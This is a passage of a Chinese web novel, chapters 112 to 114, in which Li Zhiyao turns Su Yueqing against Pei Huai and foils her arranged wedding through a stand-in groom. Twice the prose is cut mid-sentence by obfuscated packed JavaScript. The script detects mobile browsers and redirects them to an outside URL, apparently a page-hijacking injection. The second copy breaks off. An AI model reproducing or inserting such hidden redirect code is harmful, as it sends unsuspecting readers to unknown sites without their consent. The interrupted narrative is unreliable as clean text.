这才带人出来,老远看到蓝素衣她们,还有雪在杀人。 便失了分寸。 不到一个时辰的时间,李之夭倒是好奇纪无涯遇到了什么事,竟能答应蓝素衣,做了纳多族的少主,又想通了惜命这件事。 这几天肯定发生了什么事,是她不知道的。 李之夭回到驿馆门口,门口站着一个丫鬟打扮的姑娘,她瞧见李之夭立马迎了上来,直接跪在地上。 “宿宁公主,我家主子要见你。” “你家主子是?” 丫鬟磕了个头,“我家主子名唤苏月清。” 112. 争执 第112章 李之夭没想到自己再见苏月清会是在这样的情况下。 明日她就同裴承泽成婚,不到一天的时间里,裴淮还是忍不住动手,将她和苏月清个水泄不通。 距离璃王百米的酒肆里,普通百姓逃的逃,躲的躲,偌大酒肆只剩他们双方人马。 杨刻的长剑明晃晃架在李之夭脖子上,飞鸿和青鸢也都被人控制起来。 秦立山的人马在丫鬟找到她的之后便已离开。 李之夭笑着望向苏月清,头次被自己给气笑,本以为苏月清找自己会想跟她谈条件,要她帮她一把之类的,没曾想是以身为饵,让她上钩。 “苏月清,倒是我高看你了。” 苏月清垂下眼眸,握着酒杯的手收紧,“璃王府是我目前孤身在北唐唯一的仰仗,况且,也不是我求着你来找我,跟我毫无干系。” 裴淮听她说完才收回目光,转头望向李之夭眼神轻蔑,“立马发信号,让秦立山带人过来。” 李之夭并没理会裴淮,她微微往后靠,倚在靠背上,“安庆帝想置你于死,璃王府是你孤身的仰仗是没错,可以仰仗裴淮,也可以不是唯一,最后能救自己的,只能是自己,不会是别人,苏月清,你有一手好的医术,本可以在别的地方大放光彩,可以济世救人,传承你师父的衣钵,自由在天地之间,为何甘心做一只他人的笼中雀,困顿于方寸。” 苏月清眸子闪了闪,李之夭手撑着下巴,望向外面浓浓夜色,“况且你家人灭亡的真相,你当真一点都不想再提么?或是就此揭过。” 裴淮怒喝一声,“够了!” 杨刻架在她脖子上的刀逼近几分,划出一道口子,李之夭失笑地望向裴淮,“说起来我听过一些当年的传言,是云州城的藩王谋反,你就没想过原因?二十一年前,为了一句箴言,位于南方出生孩童一律诛杀,所到之处婴孩遍地血骨,百姓有苦难言,就连避世不出的纳多族都难以幸免,这样荒唐的暴政,是谁都会反抗,藩王逼上绝路,因为自从那以后,但凡家中出男婴的都要被夺走或是就地诛杀,就是为了稳固所谓皇权。” 李之夭顿了顿,瞥向苏月清和裴淮,“这样的情况持续了两年,但凡孕妇人人自危,甚至搬家往北方去,苏月清,你爹身为少傅,背负乱臣贼子的骂名,如今你知晓事情全部来龙去脉,可还记得当年为何会要对裴淮下毒?“ 苏月清垂泪,自从她刚恢复记忆,接二连三的冲击让她根本缓不神来,她对过去的事情一无所知,或是一知半解,她只知自己的身世,只知自己一家当年是如何被安庆帝逼得走投无路,最后才去了大魏。 李之夭却在今晚,把过去的伤疤全都揭开,事实的真相和过往追得无处可藏,一茬接着一茬如浪般扑面而来。 “裴淮从出生到记事起,天赋凛然,他身为纳多族,母亲出自云州,所以安庆帝认为箴言中的天命之子就是裴淮,还是在自己膝下,多加培养所以才暗中终止杀戮,他走到今日全是踩着多少跟你们同龄人的尸骨出来的,藩王有异动早有察觉,虽然八岁,心智成熟,为了皇位,陷害你们苏家的事也都是裴淮自己干的。” 书中这段剧情发展已在后期,是苏月清和裴淮对峙的一场大戏,但大戏的尽头,却是两人冰释前嫌,重归于好的戏码。 李之夭不想让他们重归于好,想亲手瓦解裴淮身边的势力,他们全部逼向绝路,情况越紧急,裴淮越不想跟苏月清划清界限,让她发现事情的真相,所以才会越慌乱。 打开窗台上摆放着的小香炉的盖子,炉子是李之夭进来跟苏月清见面时就放下的,她说自己不喜欢酒肆太过于浓郁的酒气,所以一般来酒肆都会随身携带着小香炉,点燃一粒特制的香珠放在里面,放置于风口。 香炉裴淮他们进来的时候也检查过,不是迷香。 此时见李之夭拨弄里面的香珠,淡淡的香气又弥漫开。 “李之夭!”裴淮呵斥她住口,眼神荒乱地在苏月清身上游移,“杨刻杀了她,不许她再说了!” 苏月清猛地站起身,一把将杨刻推翻在地上,挡在李之夭跟前,泪眼朦胧,嘶吼的声音濒临破防,“让她说完!” 她说完眼泪止不住掉下来,大声哭泣,自己坚守多年的心境,在一步步瓦解,一股情绪逐渐席卷蔓延到她全身,让她从始至终自诩的清高荡然无存,心境破碎,“让她说完!” 裴淮痛苦闭上眼睛,祈求般跟对苏月清说话,“清清,不要,求你了,清清。” 苏月清瘫坐在地上,她从李之夭的话里拼凑出一件当年完整的真相,刚开始她也怀疑李之夭是否在骗她,但看裴淮的反应,她越看心越凉,像一把把刀刮在心上,越刮心越疼。 李之夭:“苏月清,当年你爹让你交给裴淮的糕点,确实是有毒的,但你知道你爹要对裴淮动手,所以才偷偷换了没毒的糕点,一盘没毒的糕点,最后吃了的人却中毒了。” “是啊,我想起来了,当时我确实偷偷把糕点换掉了,你中毒后第一件事就说是糕点有毒,所以我才跟着家里人一起逃走,前面时间太久,我有些想不起来了,后来安庆帝说我爹和我一家都是迫害你的凶手,我们都愧对与你,受了足刑,一声不吭,我心中对你有愧,可后来我在你密室里看到当年被我换掉的没毒糕点,我才想起来,这一切都是你的计谋,因为只要有我爹一党在,你裴淮想继承大统绝无可能。” 裴淮双目猩红,神色绝望,苏月清的话在此刻已将他定罪,“你起初想瞒住我,利用我的愧疚一辈子跟你在一起,后来被我发现事情的真相,你又企图将我囚禁,一辈子拴在身边,裴淮,你和安庆帝都是为达目的不择手段的小人,我爹他当年的所作所为是对的。” 裴淮开始哈哈大笑起来,他强撑着站起身,踉踉跄跄在屋子里走了几步,神色癫狂,“是我!” 他一挥衣袖,指着自己对苏月清笑起来,有些疯癫的模样,“是我!” 苏月清直视上他的眼睛,裴淮站直身子继续笑起来,“我是罪魁祸首,清清你也别想摘干净!” 声线压低,极力克制自己的情绪,“我做一切都是为了你,清清,你凭什么指责我,若不是我父皇,我又怎么会跟你走到今天这一步?” 啪—— 清脆的巴掌声响亮传来,场面寂静两息。 苏月清打在裴淮脸上的手还扬在半空,裴淮脸被打歪到一边。 李之夭淡定浊了口小酒,听着癫狂和破防的两位继续吵吵嚷嚷。 苏月清收起手,“你害了我一家的凶手,如今你还想害死我!” 她冷嗤一声,“什么要美人不要江山,这些怕不都是你跟安庆帝联起手来欺骗我的手段罢了,我受足刑,当日还是拜你所赐!” 裴淮顾不上脸的疼痛,低吼道:“我没有!” 他伸手握住苏月清的肩膀,紧紧握在掌心,生怕她逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773065|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉,“我若心里没你,又怎么会想要起兵,江山我要,你我也要,清清,你就听李之夭那个毒妇一面之词,就来质疑我对你的感情?” 苏月清挣扎,想要将裴淮的手从她肩膀上拿开,男人手上的力道很大,握着她的肩膀都快把她的骨头都给碾碎,“你弄.疼我了!” 裴淮不管不顾的继续往下说:“清清,咱们一起经历这么多事,难道都不足以你全心全意信任我么?还是当初你说你会一直相信我的话全是假的?” 他晃了晃苏月清,“难道你全都骗我的吗?清清,你回答我!” 苏月清避开他的视线,“你害了我全家!你跟安庆帝是导致我家破人亡的凶手,为了帮你,我还害死了我干爹,都是因为你,全都是因为你!” 察觉肩膀上的力道越来越重,“快放开我,我恨你!” 裴淮片刻失神,随后立马反应过来,“我不放开,放开你就不会再回来了,我找了你这么多年,这么长时间,我当初听到你去了大魏之后,我多年一直待在大魏,都是为了找你,不然我有机会早就回北唐了,都是为了找你,你怎么能这么对我。“ 他说到情深处,忍不住红了眼眶,扬起声音,“我不许你恨我!我不许!” 裴淮又想摁着苏月清的头想强吻她,但苏月清此时压根听不见去,“你放开我,你现在碰我只会让我觉得恶心!” 不知是不是这句话彻底激怒裴淮,他将苏月清压在传遍的墙壁上,在李之夭身后,对着苏月清的嘴唇狠狠咬了下去。 李之夭倒吸一口凉气,往旁边挪了挪,杨刻他们似乎对这样的情况司空见惯。 多次反抗无果后,苏月清再次抬手一巴掌摔在裴淮另一边没挨打的脸上,“我让你放开!你听见没有!” 他们经过方才一阵嘴与嘴之间的纠缠啃咬,两人唇边都染着血迹,衣衫凌乱,有些气短,胸口剧烈起伏。 裴淮顿时怔在原地,他舔了舔自己被咬破的下唇,将苏月清拉进自己的怀抱中,用自己的身躯挡住旁人的视线,目光阴鸷,瞪向李之夭。 “杨刻,杀了他们!” 杨刻动手却发现自己手脚无力,脸手中长剑都握不住,哐啷掉在地上,紧接身边侍卫也开始头晕目眩,双手无力,接二连三倒在地上。 飞鸿把他们手里的武器收走,局势瞬间逆转,李之夭将小香炉取回,交到小顺子手里,杨刻满眼难以置信,他极力想要弄清楚事情的真相。 “怎么、怎么可能,我明明检查过了。” “检查过没问题?”李之夭浅浅笑起来,“这是骆师傅专门做的,单个确实没问题,但只要跟酒水味儿混在一起闻到就有问题了。” 她站起身理了理衣裙,“今晚看戏也看够了,苏月清,裴淮可是联起手来害你家的帮凶,你若继续留在他身边,小心日后再咬你一口。” 然而就在此时,纪无涯带着璃王府其他侍卫闯进来。 “璃王殿下。” 裴淮顿时神采奕奕高声呼唤:“纪无涯,我在这里!” 李之夭今夜并无想对裴淮动手的意思,卖个人情给纪无涯,顺势带人撤离。 两人擦肩而过时,四目视线相对,深深望了彼此一眼,就赶忙撤离。 回到驿馆时,已经子时了,歇下没多久,李之夭又要起床准备今日成亲的事宜。 黎明将至,初生的阳光落下,天朗气清,今日是个好天气。 113. 婚事 第113章 十一月十五,是日晴。 连续几日的雾天在今日终于放了晴,一大早驿馆便开始着手准备今日出嫁事宜。 外面吹吹打打很是热闹。 围了许多看热闹的百姓,五皇子封肃王,迁居肃王府,今日路过肃王府的人都说着吉利话,每人还能得个红封作为彩头。 纪无涯阁楼上的屋顶,今日他腰间系着一条红绸,缠着软剑,身穿玄衣,身旁摆了一盅酒,他静静望着前方出神。 雪用轻功赶来,“师兄,你确定是今日么?” 现在纪无涯已能掌握唇语,雪也省去了在纸上写字的时间。 “嗯。” “可今日是麻烦公主大婚,我们不会坏了她的好事么但好?” 纪无涯深知李之夭的本性,就算他不动手,李之夭也不会让自己就这么嫁过去,虽说箭在弦上不得不发,但她并不是逆来顺受的性子。 否则,昨天夜里也不会搞这么一出。 她这是要逼急了裴淮,让其铤而走险。 “不会,她的为人我最是清楚。”纪无涯喝了一口酒,“裴淮呢?” “昨日你救了他们,今日同他说你昨日动了武伤了身,卧病不能下榻,所以裴淮带着杨刻进宫了。” 雪说到此处还是有些想不通,“师兄,昨日你救了裴淮,今日他定会为了彰显自己而主动带你进宫,这是最好的时机,师兄不就是在等这一天么?” “你说的也有道理,但我其实有个私心。”纪无涯说完飞身下了屋顶,只余阵阵酒香。 旁边的宅子就是肃王府,今日守备森严,但纪无涯悄悄溜进去了都没人看到。 雪坐在屋顶上,伸着腿看着天,情不自禁眯了眯眼,缓一缓刺眼的穹光。 不知何时又开始渐渐起风了,裴淮走在宫道上,拢了拢斗篷,杨刻跟在他身边,几人脚步匆匆跟在内侍身后。 一路到了安庆帝的书房前,领路的内侍通传,没过多久房门打开,内侍总管出来将他请了进去,杨刻守在门外。 安庆帝见他今日主动求见,心中已明了几分,但并无过多的欣喜,若是换做从前,裴淮尚且不知二十一年全部真相的时候,还能把他当做未来能实现北唐疆土前所未有的盛况的继承人。 如今却变成面和心不和的局势,裴淮在今日出现,却证明了他的心早就不跟自己一块了,他不过不想看到裴承泽在成婚后,有了李之夭的助力而开始如日中天,给了裴淮不小的压力。 裴淮主动跪下认错,“承蒙父皇厚爱,但今日儿臣已做出选择。” 他将令牌高举过头顶,“江山和美人,我要前者。” “可朕身边的黑甲卫已给了老五,如今你再选,你想跟孤要什么?” 裴淮顿了顿,他不是没听懂安庆帝话里的试探,他若不说要什么,未免过于刻意,若说要什么,其中的度又不好把控,“我想要父皇的这块令牌,已做警醒。” “你难道心中对孤没有怨怼么?” “自是有的。” 安庆帝讽刺勾唇,“你倒是诚实,你可知这令牌是何物?” 裴淮说不知,安庆帝解释道:“它跟虎符是一个道理,能调动蜀州驻扎的一万兵马,你跟孤讨要的,可是关系蜀州存亡的令箭。” 裴淮心中诧异,他虽猜到令牌不凡,但是从没想过会是此等要物。 尽管惊讶,但他心中顿时有了主意。 昨夜回到府中,苏月清也被他一并带了回来,想到明日李之夭大婚,若她跟裴承泽联起手,北唐的江山落在谁手里都不得而知。 而他已派人下去各地用大量钱财征兆兵马,江山和美人他都要。 这辈子都不会放来苏月清的手,她只能跟在他身边,哪也不许去,哪怕囚禁关押,都必须活在他的掌控之下。 安庆帝屡次三番对苏月清动手,除了他母妃,苏月清便是他唯一的逆鳞,若想要个公平和名分,除非这天下的王由他来做。 裴淮的沉默倒是出乎安庆帝的意料,“你既想要,那就拿去吧。” 他仔细观察裴淮的神色,“只是想要调动蜀州的驻军并非靠一枚令牌,需要两样信物,缺一不可,孤既然交给你,等于将北唐一半江山交到了你手上。” 安庆帝说着脱下拇指上的玉扳指,“这是第二样信物。” 给裴淮看了以后重新带回手上,“今日你五哥大婚,一会儿你随我一起去他府上吧。” 安庆帝和五皇子的生母贵妃一块到场,刚到没多久,接亲的轿子也到了。 只是前面骑马身穿媳妇的裴承泽沉默不语,面上还带了半截黑色面具。 旁边的唢呐锣鼓吹吹打打,贵妃瞧见裴承泽这副模样,心下一惊,忙抓过旁边的管家低声询问,“这是怎么回事?” 管家一副一言难尽,捶胸顿足怒道:“娘娘,也不知是哪里飞出来的毛贼闯进来,把五殿下给打了,还下了毒,如今五殿下是有口难言,面上更是不彩,只能这副模样出现。” 贵妃将裴承泽上下打量一番,“可有请太医瞧过?” “请了,是咱们认识的太医,换了好几位了,都说一时半会儿好不了,还好五殿下警觉,毒只是入了一分,并未全部吃下。” “下毒的人实在歹毒,什么毒一分就能让人失语。” 贵妃只得转头跟安庆帝匆匆走进去坐在正厅的主位上,然后将方才听到的话全部低声说给安庆帝听。 凶手没抓到,还逃了,为了不耽误今日婚事,裴承泽只能戴上面具。 李之夭手牵上裴承泽手的时候,略微有些迟疑,她刚想挣脱,却反被对方紧紧握住。 她迫不得已低头从盖头下去看那只手。 来人的手掌心覆有老茧,手掌粗糙。 裴承泽的手她看过,白嫩无比,一看就是只是不沾阳春水,身在宫中的养尊处优的皇子,手怎么可能是这样的。 她抬起头,通过朦胧的盖头,发现对方身穿红色喜服,面上带着面具,头发也被挽起,额前有着些许细碎的发,对方似乎也在看自己。 李之夭通过那双眼睛,顿时知晓来人是谁。 她顿时心跳如雷,仍由他牵着自己往里走,李之夭回神瞧见暗处站着的飞鸿和踏雪,路过耿进才他们的时候,李之夭从袖间掉落两粒珍珠,圆润的珍珠滚落在地,被红色的喜纸和鞭炮纸裹挟滚了几圈,最终停在金三娘脚下。 金三娘趁人不注意将珍珠捡起来,小声对耿进才道:“怎么取消了?” 耿进才摇摇头,“不知道,可能是情况有变,赶紧去通知踏雪飞鸿。” “主子难不成真想嫁给那五皇子不成?”金三娘嘴上说着却跑得飞快,去找飞鸿踏雪,以免造成误会。 昨夜。 李之夭从酒肆回去以后,立马就开始布置成亲时的事宜。 其实早在一开始李之夭就有准备。 让裴淮和苏月清离心以后,再苏月清带来五皇子的府邸,让裴淮大闹肃王府,飞鸿踏雪从中添把手,让这个亲结不成,一颗珍珠落地则为开始,两颗则是取消。 或许因为裴承泽说不了话的缘故,仪式进行得很是顺利,三拜九叩后,李之夭和‘裴承泽’刚想离开,青鸢却闯了进来,走到裴淮身边低声说了句什么,裴淮听完后顿时有些坐不住。 直接忽视在场的安庆帝和贵妃,和青鸢出了正厅。 “你说什么?”裴淮愠怒,“不是让你看好她么,怎么人没了现在才来找我?” 青鸢立刻抱拳请罪,“主子,属下也是才刚发现,苏姑娘不见了,屋内整洁,不像是被人劫走的样子,属下府里上下,附近全都派人找遍了都没发现。” “好端端的人怎么会无缘无故失踪?” 裴淮沉思半晌,“你再回去多加人手去找人,纪无涯呢?” 青鸢摇了摇头,“他一早就不在府里了,就连他身边跟着的那个小姑娘都不在。” 说到最后青鸢语气有些迟疑,“主子不会怀疑……” 裴淮抬手让她禁声,“速速把他找回来,让他帮忙一起去找清清,纪无涯带走清清没道理。” 他们的一举一动全都被远处的走在廊下的李之夭收进眼底。 李之夭放下掀起盖头的手,将视线隔绝。 殊不知,裴淮似有察觉一般回头看了一眼她离开的方向,随后收回视线,“肃王府你找了么?” 青鸢怔住,说没有,裴淮望了望坐在主位的安庆帝和贵妃,失笑自嘲出声,“裴承泽没道理带走清清,李之夭就算抢人也不会留在肃王府,不过为了以防万一,你现在肃王府找找,若是没人再去驿馆找一圈。” 李之夭回到卧室,就看到躺在床上被五花大绑起来的裴承泽,下了春夏和时雨一跳,屋里还躺了几名府里守着的丫鬟婆子。 春夏震惊地回头看向跟李之夭拜堂的‘裴承泽’,半天说不出来话,倒是李之夭气定神闲的坐下,看着一直不说话的人将面上面具摘下。 露出原本属于纪无涯的那张脸。 “你是何时发现的?” 李之夭答:“刚进门的时候。” 纪无涯漆黑的眸子染了丝笑意,他将面具重新覆在脸上,深深看了一眼李之夭,“不要出来一会儿。” 说罢转身要走却被李之夭拉住手腕,将他扯了回来,纪无涯重心不稳,他手撑在桌上,在抬眸的时对上李之夭明亮的眸子。 瞬间他呼吸顿时停滞几分,少女妆容靓丽,身上带着一股独属于她的香味儿,两人距离很近,纪无涯似乎能感受到李之夭的呼吸。 太近了。 近得连连上细腻毛孔都能看到。 李之夭也不由怔住,连说辞都忘了。 少年透过面具下的眼睛如古井一般,漆黑深邃,叫人望了越陷越深。 直到身后不小心传来碰撞的声音,春夏慌乱扶住架子上的花瓶,缩回伸着的头,清了清嗓子装作无事发生一样。 李之夭和纪无涯忙拉开距离,她松开手,缩回自己身前,坐正身子,“你是不是要去刺杀安庆帝?” “嗯。”纪无涯站直,目光未曾从李之夭身上移开,听她继续说下去。 “我知你跟清武帝之间的交易,也知你先前应下封先为纳多复仇之言,所以我不会拦你,只是今日并非时机。” “何时才是时机?” “裴淮起势时。” 李之夭怕他没理解,解释道,“他若准备起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李之夭拭去眼泪,站起来看上去很是脆弱,“也说不准,那人离开的时候还说这都是你们的主意,今日与我成亲的人不是五殿下,那这门亲事就不能算成。” 管家此时走进来跪在地上,又把今日的情况复述一遍,“那贼人闯进来的时候凶神恶煞,还很不好对付,说这是他主子的意思,不由分说就把殿下给打了一顿,后来殿下吃点心想垫垫肚子,但刚入口就察觉糕点有毒,尽管再仔细还是造了毒手,后来宫里来的太医都说殿下近日不能说话,然后殿下怕面上受损,有碍观感,才起了戴面具的心思。” 贵妃走进去把床上昏迷不醒的裴承泽叫醒,但不论怎么叫都叫不醒,李之夭指着裴承泽道:“你看他脸上何时有淤青伤痕,我看怕这是说辞连你们都是说好的,前段时间怕见我们经常出门游玩,怕我们互生情愫,这才迷晕了五殿下,然后找人跟我拜堂成亲,日后怕不是也要我算在跟我拜堂人的名上。” 安庆帝:“你说的贼人可是真的?” 管家立马发誓:“是真的!府里就有被打的小厮,都可以作证。” 秦立山命人把李之夭保护起来,大魏随行的文官立马出来讲话:“公主跟不知名的人拜了堂,若亲事不能重新再议,那么和亲便不能作数,我等也会如实反应回禀我朝天子,按理宿宁公主也应和我等一起启程离开,但此事不能给我们一个满意交代,怕只会有损两朝和平。” 别的文官也跟着附和:“此言在理,虽是我朝派出和亲的公主,但你们北唐也不能欺人太甚,和亲的皇子是你们选的,当初在我朝时,宿宁公主也是五皇子亲选,如此不仁不义,出尔反尔,是将我朝颜面置于何地?还请安庆帝给我朝一个交代。” 秦立山下令撤走离开,一并带走了和亲陪嫁的嫁妆,这次直接连驿馆都不住了,直接包下一整座客栈。 很快这件事经过一日的发酵,传得满城风雨,直接将肃王和贵妃架在了火上。 “主子,那些个朝中官员不是素来看你不顺眼,怎么今日转性帮你说话了?” 直到晚上小顺子都很迷茫。 “他们入仕不过两年,虽官职小,在朝中人微言轻,但此番和亲随行,也正好派上用场,本是打算让裴淮闹事的时候让他们从中煽风点火的,没想却用在这里了。” 春夏端来洗漱的水,“新郎官是纪无涯,当场不拜堂岂不更好?” 李之夭笑起来:“那是因为我还没感受过拜堂成亲是什么感觉,知道对方不是裴承泽,我试一试也无妨。。” 夜里白日里发生的事都添油加醋的飞鸽传书传到了清武帝手里。 气得清武帝将信纸拍在案上。 吓得旁边打盹的孙广全眼皮一跳。 “岂有此理!”清武帝气得原地来回踱步转圈,“他们北唐简直岂有此理,亲事一拖再拖,最后拖不了竟干出找人代替成亲的荒唐事。” “此事,确实是北唐过于目中无人。” “孙广全,你立马帮朕飞鸽传书一封,问纪无涯,他的行动究竟还需多少时日?” 后半夜回信便传了回来,将近一宿未眠的清武帝捏紧回信,沉寂片刻,他笑了起来。 信上写着——时机将至。 114. 寻找 第114章 是夜,从青城运货物的马车奔跑一日后,终于在半途的官道驿站门前停下,马车刚驶入后院,便有店小二迎了上来。 “几位客官,更深露重,可否需要点酒水暖暖身子?本店有上好的女儿红。” 店小二将抹布搭在肩上,领着他们欲要往里走。 刚下马车的大汉扫视一圈,发现后院里除了他们的马车,还停靠着别的马车,同样是押送货物,数量还刚好跟他们一样。 彪形大汉拿刀架在店小二的脖子上,厉声询问:“那些个马车是干甚的?” 店小二吓得几乎腿脚一软,不消多问就和盘托出,“那些都是路过商队的马车,刚从云州出来。” 闻言大汉才收了刀,让店小二赶紧去厨房备些酒菜招待他们。 热腾腾的饭菜端上来的,让一日吃糠咽菜的人胃口大开,配上一碗温过的女儿红,让人直呼过瘾。 有名书生大量四周,发现驿站里除了他们,别无他人,楼上偶尔传来婴孩的啼哭声,渐渐才放下心来,他望着大快朵颐的大汉,忍不住出声提醒,“你当心点,别喝太多误事。” 大汉抹了一把脸,正在兴头上,随口敷衍他:“行了行了,我知道,我自有分寸,反正明日就到云州了,那个地方山高险峻,密林重生,多森林,只要云州的事情办妥,就能向主子交差了。” 说到此处他神色顿时骄傲起来,趁着酒劲忍不住调侃起书生来,“收编山匪这个主意还是我出的,都说百无一用是书生,所言不虚。” 说完顿时哈哈大笑起来,举起碗跟别的人干杯继续酒水下肚,书生被他这话气得直翻白眼,目光狠了狠最终没说什么,站起来一甩袖子说了句‘我吃饱了’便往后院去。 大汉丝毫没在意,反而拉着众人打趣起来,“哎哎哎,你怎么急了,说两句还不乐意了,你们这些读书人就是气性大,也不知主子是怎么想的,来来来,我们继续!” 书生在后院独自坐了会,目光落在旁的马车上,好奇心驱使,他靠近马车掀开盖在车上的油纸,是几个箱子,但巷子里装着的全是石头,他心里一惊,手拿着的石头抖了抖,连连后退几步。 “有诈!”书生慌忙朝着前厅赶去叫人,”有诈!快来人!“ 他跌跌撞撞跑到前厅,只见大汉等一群人,方才还在喝酒吃肉,现在全都喝醉趴在桌上,昏睡不醒,不管他如何叫都无人应答。 书生着急跑到后院,想驾马车赶紧离开,手刚碰到缰绳,就被人从身后一击毙命,他瞪大双眼倒在地上,眨眼不省人事。 后院彻底没人后,店小二从后厨出来,几名黑衣人从二楼窗户翻身而下,他们七手八脚的掀开两帮人的马车,打开箱子,将银子装到有石头的箱子里上面铺平,怕被人发现,在石头和银子之间放了一层挡板,银子在上,石头在下。 蓝素衣从客栈二楼下来,大护法从后院走到楼梯下抱拳,“楼主,后面已经准备妥当了。” 蓝素衣应了一声:“辛苦兄弟姐妹们跑一趟了,东西送到即可,及时脱身。” 沅露也换好衣裳,褪去平日喜欢穿的红装,换上一身劲装,女扮男装,“我得去已经收编好的土匪窝里看一看,我跟小二十一起去,她擅口技,又惯用毒,跟着我去方便些。” “你们路上小心。” 沅露牵着宁儿就往外走,她们离开后,大护法也拱手,深深望了蓝素衣一眼,“楼主,我们也走了。” “你们几位护法路上小心。” 原本昏睡在桌案上的人,在缘楼的人离开后,也渐渐睡死在梦中,彻底断了气,不消片刻,又有缘楼的弟子出现把人全部拖走,趁夜埋在了荒山野岭中。 把裴淮拿去给土匪流寇的定金,真假参半的换成一部分石头,再以真银子混淆视线,只等攻城那日,让他们先从内部混乱。 拿回来的银子则全都送北唐缘楼的分舵仓库中。 直到第二日,璃王府上下还因苏月清的失踪乱成一锅粥。 裴承泽刚醒就知道昨日的亲事没结成,一大早,裴淮还带着圣上的口谕要来搜肃王府。 禁军把肃王府翻个底朝天都不见苏月清,裴淮刚想离开去驿馆,裴承泽却拦住他的去路。 裴淮眼神阴鸷,仿佛要吃人一般,“五哥,这是想要拦我?” 裴承泽笑得漫不经心,“哪敢,只是六弟你带人把我府闹成这样,出现的损失总得有人担着不是,你也只你五哥我素来大手大脚惯了,刚立府,新娘子都没了,实属是惨啊。” “五哥的损失,过会儿我会让人亲自送到府上,五哥昨日被人替婚,这件事你真一点都没察觉?” 裴承泽两手一摊,“我哪知道,先是贼人闯进来揍了我一顿,还专门挑看不出伤的地方打,可见是个惯犯,糕点有毒,却只是让我暂时失去一天不能说话的权利,后来我还纳闷呢,谁知又来一人直接把我打晕在地,这一天天的真是糟心,那个宿宁公主怕不是克我。” “你意思是来了两拨人?”裴淮眯了眯眼睛。 “是的,两拨人,还都蒙面,生怕我看出其中是谁。”裴承泽无奈笑了笑,“也不知我成亲惹了谁,说到底,整个北唐不想我和宿宁公主成亲的也就那么几人,你说是不是,六弟。” 裴承泽笑盈盈的,越往后说,笑意便越不达眼底。 裴淮冷了声,“五哥你意思是我贼喊捉贼?” “这我可没说。”裴承泽揉了揉腰,做了个请的手势,“六弟慢走,恕不远送。” 出了肃王府,裴淮直接奔着驿馆去了,但到驿馆才被告知昨晚北唐的人全部搬走了,据说是包了一整座客栈,住在里面,要安庆帝给个解释。 裴淮到客栈,这里被秦立山带人严防死守,压根不给他进去搜查的机会。 “璃王殿下,你们璃王府丢了人,倒是跑到我大魏包下的客栈闹了,我们又不稀罕你口中的苏月清,倘若你在死缠烂打,我等不介意再去找一找安庆帝,看看他这个儿子,先是刺杀我大魏皇帝,现如今又欺负我们身在异国,想强闯我的地盘,这里面住着的人都是大魏人,就连丫鬟婆子,后院烧火做饭喂马的马夫都是我大魏的人,可没有任何一个你们北唐人在里面。” 杨刻立马出声:“什么你们大魏的地盘,这是在我北唐境内,你们这么做是不是有些过分?” 跟在秦立山旁边的文官冷嗤出声:“两朝外交都能尚且作为援助开放它朝来临的落脚之地,你们在大魏设有北唐司,凡是你们北唐人皆可到其求助,怎么如今我们把大魏司设置在这里也不行?两朝往来可不兴你们这样横行霸道,也对,璃王殿下你都能干出刺杀我朝皇帝的事,又怎么会在意如今两朝的关系?” 杨刻:“这分明是我北唐的客栈,何时成你们大魏的大魏司了?” 文官负手指了指客栈门头上挂着的红绸,秦立山拉弓搭箭,将盖着的红绸射下来,露出大魏司三字,“这不就是吗?” 杨刻顿时暴怒:“你们百般阻拦,主子,我看苏姑娘一定在里面!” “若是不在你们又怎样?”李之夭的声音传来,她身后跟着时雨春夏和小顺子三人,行至跟前,再次重复了一遍,“若是不在,你该如何?” 杨刻语塞,裴淮皱眉,神色愠怒,前日酒肆里的事还历历在目,若不是李之夭,他和苏月清之间就不会出现这么多事,说来说去,他目前遇到的全部困难,都来自于李之夭。 没她在北唐的日子,他做何事都得心应手,偏偏她出现以后,事事不顺,更别说当初在大魏的时候,遇上李之夭就没什么顺心的事。 李之夭这般笃定,想必苏月清不会在他们手里,就是想找个借口让他上当。 弄明白其中曲折裴淮也不想在李之夭身上继续浪费口舌,命人离开继续在城中排查。 回到客栈中,纪无涯已在里面等她,并将昨夜清武帝传来的信给李之夭看。 李之夭静静望他,“时机将至。” 纪无涯笑起来,李之夭诧异投来目光,“你笑什么?” 原本纪无涯万年不变的一张脸,有时连多余的情绪都不会给点,近来他笑得却是越来越多了。 “我笑我们竟然都说了同样的话。” 他们边走边说一直来到柴房的门口,小二和踏雪守着,推开房门屋子里单独架了一张小床,苏月清正躺在上面。 “她打算你怎么办?” “大家都是身不由己之人,他们不过是尚未跳出桎梏的可怜人罢了,我会等明天夜里找几个会武的婆子把她送出城,离开得越远越好,守在苏月清身边,北唐尘埃落定之前不会再让她见到裴淮。” 李之夭说完合上门,今夜星光闪烁,并不见月亮,他们并肩坐在庭院的石坎上,共同沐浴着同一束星光。 “你最近感觉怎么样?” 纪无涯怔了怔,随口答道:“感觉还行,今天裴淮一直在找苏月清,我知道人在你这里,所以我压根没怎么动。” “我是问你邀月毒。”李之夭伸手捏住纪无涯鬓边半百的发,他的头发如今半百,情况比从前好不了多少,但见他精神状态却比从前好,没了一脸的死气。 他们对视许久,最后是纪无涯率先移开了视线,他低下头因李之夭突如其来的关心有些不自然,“还好,我用封先的内力暂时封住了。” “可是你这样也不是个办法。” “没事,我有分寸。”纪无涯目光灼灼,烫得李之夭心口发热,她也移开视线,两人静坐良久,最后还是时雨找来到该歇下的时辰了,他们才分开。 第二天晚上,支开秦立山他们后,小二和小顺子帮忙把苏月清放到马车上,找来的两位武婆子坐上马车,李之夭给了她们一块大魏的令牌,让她们连夜出城。 